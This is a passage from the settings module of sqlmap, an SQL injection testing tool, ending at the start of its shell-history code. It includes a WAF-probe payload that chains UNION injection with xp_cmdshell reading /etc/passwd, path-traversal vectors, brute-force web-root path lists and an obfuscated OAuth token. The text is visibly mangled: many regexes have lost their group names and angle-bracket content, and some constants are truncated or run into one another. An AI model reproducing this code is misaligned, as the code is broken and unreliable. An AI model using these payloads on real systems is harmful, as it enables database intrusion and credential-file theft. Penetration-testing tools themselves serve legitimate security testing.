at the end inference should stop (just in case) INFERENCE_BLANK_BREAK = 5 # Use this replacement character for cases when inference is not able to retrieve the proper character value INFERENCE_UNKNOWN_CHAR = '?' # Character used for operation "greater" in inference INFERENCE_GREATER_CHAR = ">" # Character used for operation "greater or equal" in inference INFERENCE_GREATER_EQUALS_CHAR = ">=" # Character used for operation "equals" in inference INFERENCE_EQUALS_CHAR = "=" # Character used for operation "not-equals" in inference INFERENCE_NOT_EQUALS_CHAR = "!=" # String used for representation of unknown DBMS UNKNOWN_DBMS = "Unknown" # String used for representation of unknown DBMS version UNKNOWN_DBMS_VERSION = "Unknown" # Dynamicity boundary length used in dynamicity removal engine DYNAMICITY_BOUNDARY_LENGTH = 20 # Dummy user prefix used in dictionary attack DUMMY_USER_PREFIX = "__dummy__" # Reference: http://en.wikipedia.org/wiki/ISO/IEC_8859-1 DEFAULT_PAGE_ENCODING = "iso-8859-1" try: codecs.lookup(DEFAULT_PAGE_ENCODING) except LookupError: DEFAULT_PAGE_ENCODING = "utf8" # Marker for program piped input STDIN_PIPE_DASH = '-' # URL used in dummy runs DUMMY_URL = "http://foo/bar?id=1" # Timeout used during initial websocket (pull) testing WEBSOCKET_INITIAL_TIMEOUT = 3 # The name of the operating system dependent module imported. The following names have currently been registered: 'posix', 'nt', 'mac', 'os2', 'ce', 'java', 'riscos' PLATFORM = os.name PYVERSION = sys.version.split()[0] IS_WIN = PLATFORM == "nt" IS_PYPY = platform.python_implementation() == "PyPy" # Check if running in terminal IS_TTY = hasattr(sys.stdout, "fileno") and os.isatty(sys.stdout.fileno()) # DBMS system databases MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb", "Resource", "ReportServer", "ReportServerTempDB", "distribution", "mssqlsystemresource") MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema", "sys", "ndbinfo") PGSQL_SYSTEM_DBS = ("postgres", "template0", "template1", "information_schema", "pg_catalog", "pg_toast", "pgagent") ORACLE_SYSTEM_DBS = ("ADAMS", "ANONYMOUS", "APEX_030200", "APEX_PUBLIC_USER", "APPQOSSYS", "AURORA$ORB$UNAUTHENTICATED", "AWR_STAGE", "BI", "BLAKE", "CLARK", "CSMIG", "CTXSYS", "DBSNMP", "DEMO", "DIP", "DMSYS", "DSSYS", "EXFSYS", "FLOWS_%", "FLOWS_FILES", "HR", "IX", "JONES", "LBACSYS", "MDDATA", "MDSYS", "MGMT_VIEW", "OC", "OE", "OLAPSYS", "ORACLE_OCM", "ORDDATA", "ORDPLUGINS", "ORDSYS", "OUTLN", "OWBSYS", "PAPER", "PERFSTAT", "PM", "SCOTT", "SH", "SI_INFORMTN_SCHEMA", "SPATIAL_CSW_ADMIN_USR", "SPATIAL_WFS_ADMIN_USR", "SYS", "SYSMAN", "SYSTEM", "TRACESVR", "TSMSYS", "WK_TEST", "WKPROXY", "WKSYS", "WMSYS", "XDB", "XS$NULL") SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master") ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage", "MSysAccessXML", "MSysModules", "MSysModules2", "MSysNavPaneGroupCategories", "MSysNavPaneGroups", "MSysNavPaneGroupToObjects", "MSysNavPaneObjectIDs") FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE", "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS", "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES", "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS", "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS", "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS") MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN") SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs", "tempdb") DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS", "SYSDEBUG", "SYSINST") HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB") H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",) + ("IGNITE", "ignite-sys-cache") INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin") MONETDB_SYSTEM_DBS = ("tmp", "json", "profiler") DERBY_SYSTEM_DBS = ("NULLID", "SQLJ", "SYS", "SYSCAT", "SYSCS_DIAG", "SYSCS_UTIL", "SYSFUN", "SYSIBM", "SYSPROC", "SYSSTAT") VERTICA_SYSTEM_DBS = ("v_catalog", "v_internal", "v_monitor",) MCKOI_SYSTEM_DBS = ("",) PRESTO_SYSTEM_DBS = ("information_schema",) ALTIBASE_SYSTEM_DBS = ("SYSTEM_",) MIMERSQL_SYSTEM_DBS = ("information_schema", "SYSTEM",) CRATEDB_SYSTEM_DBS = ("information_schema", "pg_catalog", "sys") CLICKHOUSE_SYSTEM_DBS = ("information_schema", "INFORMATION_SCHEMA", "system") CUBRID_SYSTEM_DBS = ("DBA",) CACHE_SYSTEM_DBS = ("%Dictionary", "INFORMATION_SCHEMA", "%SYS") EXTREMEDB_SYSTEM_DBS = ("",) FRONTBASE_SYSTEM_DBS = ("DEFINITION_SCHEMA", "INFORMATION_SCHEMA") RAIMA_SYSTEM_DBS = ("",) VIRTUOSO_SYSTEM_DBS = ("",) SNOWFLAKE_SYSTEM_DBS = ("INFORMATION_SCHEMA",) SPANNER_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SPANNER_SYS") # Note: () + () MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms") MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql", "tidb", "percona", "drizzle", "doris", "starrocks") PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + ("cockroach", "cockroachdb", "amazon redshift", "redshift", "greenplum", "yellowbrick", "enterprisedb", "yugabyte", "yugabytedb", "opengauss") ORACLE_ALIASES = ("oracle", "orcl", "ora", "or", "dm8") SQLITE_ALIASES = ("sqlite", "sqlite3") ACCESS_ALIASES = ("microsoft access", "msaccess", "access", "jet") FIREBIRD_ALIASES = ("firebird", "mozilla firebird", "interbase", "ibase", "fb") MAXDB_ALIASES = ("max", "maxdb", "sap maxdb", "sap db") SYBASE_ALIASES = ("sybase", "sybase sql server") DB2_ALIASES = ("db2", "ibm db2", "ibmdb2") HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql") H2_ALIASES = ("h2",) + ("ignite", "apache ignite") INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix") MONETDB_ALIASES = ("monet", "monetdb",) DERBY_ALIASES = ("derby", "apache derby",) VERTICA_ALIASES = ("vertica",) MCKOI_ALIASES = ("mckoi",) PRESTO_ALIASES = ("presto",) ALTIBASE_ALIASES = ("altibase",) MIMERSQL_ALIASES = ("mimersql", "mimer") CRATEDB_ALIASES = ("cratedb", "crate") CUBRID_ALIASES = ("cubrid",) CLICKHOUSE_ALIASES = ("clickhouse",) CACHE_ALIASES = ("intersystems cache", "cachedb", "cache", "iris") EXTREMEDB_ALIASES = ("extremedb", "extreme") FRONTBASE_ALIASES = ("frontbase",) RAIMA_ALIASES = ("raima database manager", "raima", "raimadb", "raimadm", "rdm", "rds", "velocis") VIRTUOSO_ALIASES = ("virtuoso", "openlink virtuoso") SNOWFLAKE_ALIASES = ("snowflake",) SPANNER_ALIASES = ("spanner", "google cloud spanner", "google spanner") DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_")) SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CLICKHOUSE_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES + SNOWFLAKE_ALIASES + SPANNER_ALIASES) SUPPORTED_OS = ("linux", "windows") DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES), (DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES), (DBMS.SPANNER, SPANNER_ALIASES)) USER_AGENT_ALIASES = ("ua", "useragent", "user-agent") REFERER_ALIASES = ("ref", "referer", "referrer") HOST_ALIASES = ("host",) # DBMSes with upper case identifiers UPPER_CASE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.H2, DBMS.HSQLDB, DBMS.DERBY, DBMS.ALTIBASE, DBMS.SNOWFLAKE)) # Default schemas to use (when unable to enumerate) H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC" VERTICA_DEFAULT_SCHEMA = "public" MCKOI_DEFAULT_SCHEMA = "APP" CACHE_DEFAULT_SCHEMA = "SQLUser" SPANNER_DEFAULT_SCHEMA = "default" # DBMSes where OFFSET mechanism starts from 1 PLUS_ONE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE, DBMS.MSSQL, DBMS.CACHE)) # Names that can't be used to name files on Windows OS WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9") # Items displayed in basic help (-h) output BASIC_HELP_ITEMS = ( "url", "googleDork", "data", "cookie", "randomAgent", "proxy", "testParameter", "dbms", "level", "risk", "technique", "getAll", "getBanner", "getCurrentUser", "getCurrentDb", "getPasswordHashes", "getDbs", "getTables", "getColumns", "getSchema", "dumpTable", "dumpAll", "db", "tbl", "col", "osShell", "osPwn", "batch", "checkTor", "flushSession", "tor", "sqlmapShell", "wizard", ) # Tags used for value replacements inside shell scripts SHELL_WRITABLE_DIR_TAG = "%WRITABLE_DIR%" SHELL_RUNCMD_EXE_TAG = "%RUNCMD_EXE%" # String representation for NULL value NULL = "NULL" # String representation for blank ('') value BLANK = "" # String representation for current database CURRENT_DB = "CD" # String representation for current user CURRENT_USER = "CU" # Name of SQLite file used for storing session data SESSION_SQLITE_FILE = "session.sqlite" # Regular expressions used for finding file paths in error messages FILE_PATH_REGEXES = (r"(?P[^<>]+?) on line \d+", r"\bin (?P[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s])(?P[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P/\w[/\w.~-]+)", r"\bhref=['\"]file://(?P/[^'\"]+)", r"\bin (?P[^<]+): line \d+") # Regular expressions used for parsing error messages (--parse-errors) ERROR_PARSING_REGEXES = ( r"\[Microsoft\]\[ODBC SQL Server Driver\]\[SQL Server\](?P[^<]+)", r"[^<]{0,100}(fatal|error|warning|exception)[^<]*:?\s*(?P[^<]+)", r"(?m)^\s{0,100}(fatal|error|warning|exception):?\s*(?P[^\n]+?)$", r"(sql|dbc)[^>'\"]{0,32}(fatal|error|warning|exception)()?:\s*(?P[^<>]+)", r"(?P[^\n>]{0,100}SQL Syntax[^\n<]+)", r"(?s)
  • Error Type:
    (?P.+?)
  • ", r"CDbCommand (?P[^<>\n]*SQL[^<>\n]+)", r"Code: \d+. DB::Exception: (?P[^<>\n]*)", r"error '[0-9a-f]{8}'((<[^>]+>)|\s)+(?P[^<>]+)", r"\[[^\n\]]{1,100}(ODBC|JDBC)[^\n\]]+\](\[[^\]]+\])?(?P[^\n]+(in query expression|\(SQL| at /[^ ]+pdo)[^\n<]+)", r"(?Pquery error: SELECT[^<>]+)", r"(?P(?:(?:ORA|PLS)-[0-9]{5}:|SQLCODE[ =:]+-?[0-9]+|SQLSTATE[ =:]+[0-9A-Z]{5}|Dynamic SQL Error|DB2 SQL error:|SAP DBTech JDBC:|SQLiteException:|You have an error in your SQL syntax;|Incorrect syntax near |Unclosed quotation mark after the character string|near \"[^\"]+\": syntax error)[^\n<]*)" ) # Regular expression used for parsing charset info from meta html headers META_CHARSET_REGEX = r'(?si).*]+charset="?(?P[^"> ]+).*' # Regular expression used for parsing refresh info from meta html headers META_REFRESH_REGEX = r'(?i)]+content="?[^">]+;\s*(url=)?["\']?(?P[^\'">]+)' # Regular expression used for parsing Javascript redirect request JAVASCRIPT_HREF_REGEX = r'',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#" # Vectors used for provoking specific WAF/IPS behavior(s) WAF_ATTACK_VECTORS = ( "", # NIL "search=", "file=../../../../etc/passwd", "q=foobar", "id=1 %s" % IPS_WAF_CHECK_PAYLOAD ) # Used for status representation in dictionary attack phase ROTATING_CHARS = ('\\', '|', '|', '/', '-') # Approximate chunk length (in bytes) used by BigArray objects (only last chunk and cached one are held in memory) BIGARRAY_CHUNK_SIZE = 32 * 1024 * 1024 # Compress level used for storing BigArray chunks to disk (0-9) BIGARRAY_COMPRESS_LEVEL = 4 # Maximum number of socket pre-connects SOCKET_PRE_CONNECT_QUEUE_SIZE = 3 # Only console display last n table rows TRIM_STDOUT_DUMP_SIZE = 256 # Reference: http://stackoverflow.com/a/3168436 # Reference: https://web.archive.org/web/20150407141500/https://support.microsoft.com/en-us/kb/899149 DUMP_FILE_BUFFER_SIZE = 1024 # Parse response headers only first couple of times PARSE_HEADERS_LIMIT = 3 # Step used in ORDER BY technique used for finding the right number of columns in UNION query injections ORDER_BY_STEP = 10 # Maximum value used in ORDER BY technique used for finding the right number of columns in UNION query injections ORDER_BY_MAX = 1000 # Maximum number of times for revalidation of a character in inference (as required) MAX_REVALIDATION_STEPS = 5 # Characters that can be used to split parameter values in provided command line (e.g. in --tamper) PARAMETER_SPLITTING_REGEX = r"[,|;]" # Attribute used for storing original parameter value in special cases (e.g. POST) UNENCODED_ORIGINAL_VALUE = "original" # Common column names containing usernames (used for hash cracking in some cases) COMMON_USER_COLUMNS = frozenset(("login", "user", "uname", "username", "user_name", "user_login", "account", "account_name", "auth_user", "benutzername", "benutzer", "utilisateur", "usager", "consommateur", "utente", "utilizzatore", "utilizator", "utilizador", "usufrutuario", "korisnik", "uporabnik", "usuario", "consumidor", "client", "customer", "cuser")) # Default delimiter in GET/POST values DEFAULT_GET_POST_DELIMITER = '&' # Default delimiter in cookie values DEFAULT_COOKIE_DELIMITER = ';' # Unix timestamp used for forcing cookie expiration when provided with --load-cookies FORCE_COOKIE_EXPIRATION_TIME = "9999999999" # Github OAuth token used for creating an automatic Issue for unhandled exceptions GITHUB_REPORT_OAUTH_TOKEN = "wxqc7vTeW8ohIcX+1wK55Mnql2Ex9cP+2s1dqTr/mjlZJVfLnq24fMAi08v5vRvOmuhVZQdOT/lhIRovWvIJrdECD1ud8VMPWpxY+NmjHoEx+VLK1/vCAUBwJe" # Flush HashDB threshold number of cached items HASHDB_FLUSH_THRESHOLD_ITEMS = 200 # Flush HashDB threshold "dirty" time HASHDB_FLUSH_THRESHOLD_TIME = 5 # Number of retries for unsuccessful HashDB flush attempts HASHDB_FLUSH_RETRIES = 3 # Number of retries for unsuccessful HashDB retrieve attempts HASHDB_RETRIEVE_RETRIES = 3 # Number of retries for unsuccessful HashDB end transaction attempts HASHDB_END_TRANSACTION_RETRIES = 3 # Unique milestone value used for forced deprecation of old HashDB values (e.g. when changing hash/pickle mechanism) HASHDB_MILESTONE_VALUE = "GpqxbkWTfz" # python -c 'import random, string; print "".join(random.sample(string.ascii_letters, 10))' # Pickle protocl used for storage of serialized data inside HashDB (https://docs.python.org/3/library/pickle.html#data-stream-format) PICKLE_PROTOCOL = 2 # Warn user of possible delay due to large page dump in full UNION query injections LARGE_OUTPUT_THRESHOLD = 1024 ** 2 # On huge tables there is a considerable slowdown if every row retrieval requires ORDER BY (most noticable in table dumping using ERROR injections) SLOW_ORDER_COUNT_THRESHOLD = 10000 # Give up on hash recognition if nothing was found in first given number of rows HASH_RECOGNITION_QUIT_THRESHOLD = 1000 # Regular expression used for automatic hex conversion and hash cracking of (RAW) binary column values HASH_BINARY_COLUMNS_REGEX = r"(?i)pass|psw|hash" # Maximum number of redirections to any single URL - this is needed because of the state that cookies introduce MAX_SINGLE_URL_REDIRECTIONS = 4 # Maximum total number of redirections (regardless of URL) - before assuming we're in a loop MAX_TOTAL_REDIRECTIONS = 10 # Maximum (deliberate) delay used in page stability check MAX_STABILITY_DELAY = 0.5 # Reference: http://www.tcpipguide.com/free/t_DNSLabelsNamesandSyntaxRules.htm MAX_DNS_LABEL = 63 # Alphabet used for prefix and suffix strings of name resolution requests in DNS technique (excluding hexadecimal chars for not mixing with inner content) DNS_BOUNDARIES_ALPHABET = re.sub(r"[a-fA-F]", "", string.ascii_letters) # Alphabet used for heuristic checks HEURISTIC_CHECK_ALPHABET = ('"', '\'', ')', '(', ',', '.') # Minor artistic touch BANNER = re.sub(r"\[.\]", lambda _: "[\033[01;41m%s\033[01;49m]" % random.sample(HEURISTIC_CHECK_ALPHABET, 1)[0], BANNER) # String used for dummy non-SQLi (e.g. XSS) heuristic checks of a tested parameter value DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">" # Regular expression used for recognition of file inclusion errors FI_ERROR_REGEX = r"(?i)[^\n]{0,100}(no such file|failed (to )?open)[^\n]{0,100}" # Length of prefix and suffix used in non-SQLI heuristic checks NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6 # Connection read size (processing large responses in parts to avoid MemoryError crashes - e.g. large table dump in full UNION injections) MAX_CONNECTION_READ_SIZE = 10 * 1024 * 1024 # Maximum response total page size (trimmed if larger) MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024 # For preventing MemoryError exceptions (caused when using large sequences in difflib.SequenceMatcher) MAX_DIFFLIB_SEQUENCE_LENGTH = 10 * 1024 * 1024 # Page size threshold used in heuristic checks (e.g. getHeuristicCharEncoding(), htmlParser, etc.) HEURISTIC_PAGE_SIZE_THRESHOLD = 64 * 1024 # Maximum (multi-threaded) length of entry in bisection algorithm MAX_BISECTION_LENGTH = 50 * 1024 * 1024 # Mark used for trimming unnecessary content in large connection reads LARGE_READ_TRIM_MARKER = "__TRIMMED_CONTENT__" # Generic SQL comment formation GENERIC_SQL_COMMENT = "-- [RANDSTR]" # Threshold value for turning back on time auto-adjustment mechanism VALID_TIME_CHARS_RUN_THRESHOLD = 100 # Check for empty columns only if table is sufficiently large CHECK_ZERO_COLUMNS_THRESHOLD = 10 # Threshold for checking types of columns in case of SQLite dump format CHECK_SQLITE_TYPE_THRESHOLD = 100 # Boldify all logger messages containing these "patterns" BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than", "connection to ", "will be trimmed", "counterpart to database") # Regular expression used to search for bold-patterns BOLD_PATTERNS_REGEX = '|'.join(BOLD_PATTERNS) # TLDs used in randomization of email-alike parameter values RANDOMIZATION_TLDS = ("com", "net", "ru", "org", "de", "uk", "br", "jp", "cn", "fr", "it", "pl", "tv", "edu", "in", "ir", "es", "me", "info", "gr", "gov", "ca", "co", "se", "cz", "to", "vn", "nl", "cc", "az", "hu", "ua", "be", "no", "biz", "io", "ch", "ro", "sk", "eu", "us", "tw", "pt", "fi", "at", "lt", "kz", "cl", "hr", "pk", "lv", "la", "pe", "au") # Generic www root directory names GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "public_html", "wwwroot", "www", "site") # Maximum length of a help part containing switch/option name(s) MAX_HELP_OPTION_LENGTH = 18 # Maximum number of connection retries (to prevent problems with recursion) MAX_CONNECT_RETRIES = 100 # Strings for detecting formatting errors FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", "CF_SQL_NUMERIC", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "Attribute validation error for tag", "is not of type numeric", "__VIEWSTATE[^"]*)[^>]+value="(?P[^"]+)' # Regular expression used for extracting ASP.NET event validation values EVENTVALIDATION_REGEX = r'(?i)(?P__EVENTVALIDATION[^"]*)[^>]+value="(?P[^"]+)' # Number of rows to generate inside the full union test for limited output (mustn't be too large to prevent payload length problems) LIMITED_ROWS_TEST_NUMBER = 15 # Default adapter to use for bottle server RESTAPI_DEFAULT_ADAPTER = "wsgiref" # Default REST-JSON API server listen address RESTAPI_DEFAULT_ADDRESS = "127.0.0.1" # Default REST-JSON API server listen port RESTAPI_DEFAULT_PORT = 8775 # Unsupported options by REST-JSON API server RESTAPI_UNSUPPORTED_OPTIONS = ("sqlShell", "wizard") # Use "Supplementary Private Use Area-A" INVALID_UNICODE_PRIVATE_AREA = False # Format used for representing invalid unicode characters INVALID_UNICODE_CHAR_FORMAT = r"\x%02x" # Minimum supported version of httpx library (for --http2) MIN_HTTPX_VERSION = "0.28" # Regular expression for XML POST data XML_RECOGNITION_REGEX = r"(?s)\A\s*<[^>]+>(.+>)?\s*\Z" # Regular expression used for detecting JSON POST data JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|\d+|true|false|null|\[).*\}\s*(\]\s*)*\Z' # Regular expression used for detecting JSON-like POST data JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*('[^']+'|\"[^\"]+\"|\w+)\s*:\s*('[^']+'|\"[^\"]+\"|\d+).*\}\s*(\]\s*)*\Z" # Regular expression used for detecting multipart POST data MULTIPART_RECOGNITION_REGEX = r"(?i)Content-Disposition:[^;]+;\s*name=" # Regular expression used for detecting Array-like POST data ARRAY_LIKE_RECOGNITION_REGEX = r"(\A|%s)(\w+)\[\d*\]=.+%s\2\[\d*\]=" % (DEFAULT_GET_POST_DELIMITER, DEFAULT_GET_POST_DELIMITER) # Default POST data content-type DEFAULT_CONTENT_TYPE = "application/x-www-form-urlencoded; charset=utf-8" # Raw text POST data content-type PLAIN_TEXT_CONTENT_TYPE = "text/plain; charset=utf-8" # Length used while checking for existence of Suhosin-patch (like) protection mechanism SUHOSIN_MAX_VALUE_LENGTH = 512 # Minimum size of an (binary) entry before it can be considered for dumping to disk MIN_BINARY_DISK_DUMP_SIZE = 100 # Filenames of payloads xml files (in order of loading) PAYLOAD_XML_FILES = ("boolean_blind.xml", "error_based.xml", "inline_query.xml", "stacked_queries.xml", "time_blind.xml", "union_query.xml") # Regular expression used for extracting form tags FORM_SEARCH_REGEX = r"(?si)" # Maximum number of lines to save in history file MAX_HISTORY_LENGTH = 1000 # Minimum field entry length needed for encoded content (hex, base64,...) check MIN_ENCODED_LEN_CHECK = 5 # Timeout in seconds in which Metasploit remote session has to be initialized METASPLOIT_SESSION_TIMEOUT = 180 # Reference: http://www.postgresql.org/docs/9.0/static/catalog-pg-largeobject.html LOBLKSIZE = 2048 # Prefix used to mark special variables (e.g. keywords, having special chars, etc.) EVALCODE_ENCODED_PREFIX = "EVAL_" # Reference: https://en.wikipedia.org/wiki/Zip_(file_format) ZIP_HEADER = b"\x50\x4b\x03\x04" # Reference: http://www.cookiecentral.com/faq/#3.5 NETSCAPE_FORMAT_HEADER_COOKIES = "# Netscape HTTP Cookie File." # Infixes used for automatic recognition of parameters carrying anti-CSRF tokens CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf", "token", "nonce") # Prefixes used in brute force search for web server document root BRUTE_DOC_ROOT_PREFIXES = { OS.LINUX: ("/var/www", "/usr/local/apache", "/usr/local/apache2", "/usr/local/www/apache22", "/usr/local/www/apache24", "/usr/local/httpd", "/var/www/nginx-default", "/srv/www", "/var/www/%TARGET%", "/var/www/vhosts/%TARGET%", "/var/www/virtual/%TARGET%", "/var/www/clients/vhosts/%TARGET%", "/var/www/clients/virtual/%TARGET%", "/Library/WebServer/Documents", "/opt/homebrew/var/www"), OS.WINDOWS: ("/xampp", "/Program Files/xampp", "/wamp", "/Program Files/wampp", "/Apache/Apache", "/apache", "/Program Files/Apache Group/Apache", "/Program Files/Apache Group/Apache2", "/Program Files/Apache Group/Apache2.2", "/Program Files/Apache Group/Apache2.4", "/Inetpub/wwwroot", "/Inetpub/wwwroot/%TARGET%", "/Inetpub/vhosts/%TARGET%") } # Suffixes used in brute force search for web server document root BRUTE_DOC_ROOT_SUFFIXES = ("", "html", "htdocs", "httpdocs", "php", "public", "src", "site", "build", "web", "www", "data", "sites/all", "www/build") # String used for marking target name inside used brute force web server document root BRUTE_DOC_ROOT_TARGET_MARK = "%TARGET%" # Character used as a boundary in kb.chars (preferably less frequent letter) KB_CHARS_BOUNDARY_CHAR = 'q' # Letters of lower frequency used in kb.chars KB_CHARS_LOW_FREQUENCY_ALPHABET = "zqxjkvbp" # Printable bytes PRINTABLE_BYTES = set(bytes(string.printable, "ascii") if six.PY3 else string.printable) # SQL keywords used for splitting in HTTP chunked transfer encoded requests (switch --chunk) HTTP_CHUNKED_SPLIT_KEYWORDS = ("SELECT", "UPDATE", "INSERT", "FROM", "LOAD_FILE", "UNION", "information_schema", "sysdatabases", "msysaccessobjects", "msysqueries", "sysmodules") # CSS style used in HTML dump format HTML_DUMP_CSS_STYLE = """""" # Leaving (dirty) possibility to change values from here (e.g. `export SQLMAP__MAX_NUMBER_OF_THREADS=20`) for key, value in os.environ.items(): if key.upper().startswith("%s_" % SQLMAP_ENVIRONMENT_PREFIX): _ = key[len(SQLMAP_ENVIRONMENT_PREFIX) + 1:].upper() if _ in globals(): original = globals()[_] if isinstance(original, int): try: globals()[_] = int(value) except ValueError: pass elif isinstance(original, bool): globals()[_] = value.lower() in ('1', 'true') elif isinstance(original, (list, tuple)): globals()[_] = [__.strip() for __ in _.split(',')] else: globals()[_] = value ================================================ FILE: lib/core/shell.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import atexit import os from lib.core import readlineng as readline from lib.core.common import getSafeExString from lib.core.data import logger from lib.core.data import paths from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.enums import OS from lib.core.settings import IS_WIN from lib.core.settings import MAX_HISTORY_LENGTH try: import rlcompleter class CompleterNG(rlcompleter.Completer): def global_matches(self, text): """ Compute matches when text is a simple name. Return a list of all names currently defined in self.namespace that match. """ matches = [] n = len(text) for ns in (self.namespace,): for word in ns: if word[:n] == text: matches.append(word) return matches except: readline._readline = None def readlineAvailable(): """ Check if the readline is available. By default it is not in Python default installation on Windows """ return readline._readline is not None def clearHistory(): if not readlineAvailable(): return readline.clear_history() def saveHistory(completion=None): try: if not readlineAvailable(): return if completion == AUTOCOMPLETE_TYPE.SQL: historyPath = paths.SQL_SHELL_HISTORY elif completion == AUTOCOMPLETE_TYPE.OS: historyPath = paths.OS_SHELL_HISTORY elif completion == AUTOCOMPLETE_TYPE.API: historyPath = paths.API_SHELL_HISTORY 